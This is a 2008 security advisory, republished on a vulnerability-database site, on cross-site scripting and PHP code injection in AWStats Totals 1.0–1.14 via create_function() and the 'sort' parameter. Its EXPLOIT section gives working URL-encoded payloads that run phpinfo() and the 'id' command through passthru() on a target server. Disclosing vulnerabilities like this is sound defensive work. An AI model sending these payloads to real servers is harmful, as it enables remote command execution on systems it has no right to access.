Register | Forget Password | Login
Search :
SecurityReason

News

Search

SecurityAlert

About SecurityAlert

ExploitAlert

SecurityReason Research

WLB

WLB Database

Send to WLB

About WLB

RSS

News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Corporate

Contact

About us

Services

SecurePHP

Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Details : SecurityAlert

  Topic : Multiple Vulnerabilities in AWStats Totals
  SecurityAlert : 4218
  CVE : CVE-2008-3921
  CVE : CVE-2008-3922
  CWE : CWE-79
  CWE : CWE-94
  SecurityRisk : High  alert  (About)
  Remote Exploit : Yes
  Local Exploit : No
  Victim interaction required : Yes
  Exploit Given : No
  Credit : Elliot Kendall
  Published : 06.09.2008

  Affected Software : Telartis_bv, Awstats_totals, 1.0
Telartis_bv, Awstats_totals, 1.1
Telartis_bv, Awstats_totals, 1.11
Telartis_bv, Awstats_totals, 1.13
Telartis_bv, Awstats_totals, 1.14



  Advisory Text :  

Emory University UTS Security Advisory EMORY-2008-01

Topic: Multiple Vulnerabilities in AWStats Totals

Original release date: August 26, 2008

SUMMARY
=======

Telartis's AWStats Totals program is vulnerable to command execution
and cross site scripting attacks. A remote attacker could exploit
these vulnerabilities to run arbitrary commands on the system with the
permissions of the web server.

AFFECTED SOFTWARE
=================

* AWStats Totals 1.0 - 1.14

UNAFFECTED
==========

* AWStats Totals >= 1.15

IMPACT
======

A remote attacker could exploit these vulnerabilities to run arbitrary
commands on the web server's host operating system.

DETAILS
=======

AWStats Totals takes three URL parameters, "month," "year," and
"sort," and uses them without checking them for validity.

The program uses the month and year parameters in output it displays
to the user. It will display any HTML or Javascript code included in
these parameters, which the user's browser will then render.

The program uses the sort parameter to build an anonymous PHP function
with the create_function() function.

> function multisort(&$array, $key) {
> $cmp = create_function('$a, $b',
> 'if ($a["'.$key.'"] == $b["'.$key.'"]) return 0;'.
> 'return ($a["'.$key.'"] > $b["'.$key.'"]) ? -1 : 1;');
> usort($array, $cmp);
> }
>
> if ($sort == 'config') sort($rows); else multisort($rows, $sort);

Taking care to match properly the quotes and angle brackets, it is
possible to insert PHP expressions into the code for the function. For
example, to run the phpinfo() function, one might set sort to this
value:

"].phpinfo().$a["

Since any code one injects gets run multiple times, however, it may be
useful to exit the program after a single invocation:

"].phpinfo().exit().$a["

It is also possible to insert PHP expressions through the use of
variable expansion within strings on newer versions of PHP:

{${phpinfo()}}{${exit()}}

SOLUTION
========

Upgrade to AWStats Totals 1.15.

http://www.telartis.nl/xcms/awstats/

EXPLOIT
=======

The following examples require that magic quotes be disabled, but will
work on all versions of PHP.

This example will display phpinfo().

http://host.tld/some/path/awstatstotals.php?sort=%22%5d%2ephpinfo%28%29%
2eexit%28%29%2e%24a%5b%22

This example will run the "id" command on the target system.

http://host.tld/some/path/awstatstotals.php?sort=%22%5d%2epassthru%28%27
id%27%29%2eexit%28%29%2e%24a%5b%22

======

The following examples require a version of PHP which parses function
calls inside strings (5+, some versions of 4?), but will work if magic
quotes are enabled.

This example will display phpinfo().

http://host.tld/some/path/awstatstotals.php?sort=%7b%24%7bphpinfo%28%29%
7d%7d%7b%24%7bexit%28%29%7d%7d

This example will run the "id" command on the target system.

http://host.tld/some/path/awstatstotals.php?sort=%7b%24%7bpassthru%28chr
(105)%2echr(100)%29%7d%7d%7b%24%7bexit%28%29%7d%7d

ACKNOWLEDGMENTS
===============

Thanks to Telartis B.V. and Jeroen de Jong for quickly releasing an
updated version and for assisting with this advisory.

DISCLAIMER
==========

The information in this advisory is provided by Emory as a courtesy
and without any representations or warranties. Recipients are
advised to conduct their own investigation and due diligence before
relying on its contents.

REVISION HISTORY
================

2008-08-26 original release



  References :

http://www.telartis.nl/xcms/awstats/
http://xforce.iss.net/xforce/xfdb/44706
http://www.securityfocus.com/archive/1/archive/1/495770/100/0/threaded
http://www.frsirt.com/english/advisories/2008/2442
http://userwww.service.emory.edu/~ekenda2/EMORY-2008-01.txt
http://secunia.com/advisories/31630



  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

Microsoft VISTA TCP/IP stack buffer overflow

high- 2008-11-27

Microsoft Device IO Control wrapped by the iphlpapi.dll API shipping with Windows Vista 32 bit and 64 bit contains a possibly exploitable, buffer overflow corrupting kernel memory.

Apache rss

» Apache Tomcat information
   disclosure

» Apache Tomcat <=
   6.0.18 UTF8 Directory
   Traversal Vulnerability

» Apache Tomcat information
   disclosure vulnerability

» Apache Tomcat XSS
   vulnerability

PHP rss

» PHP 5.2.6 SAPI
   php_getuid() overload

» PHP
   ZipArchive::extractTo()
   Directory Traversal
   Vulnerability

» PHP 5.2.6 dba_replace()
   destroying file

» PHP 5.2.6 (error_log)
   safe_mode bypass

Copyright © SecurityReason. All Rights Reserved.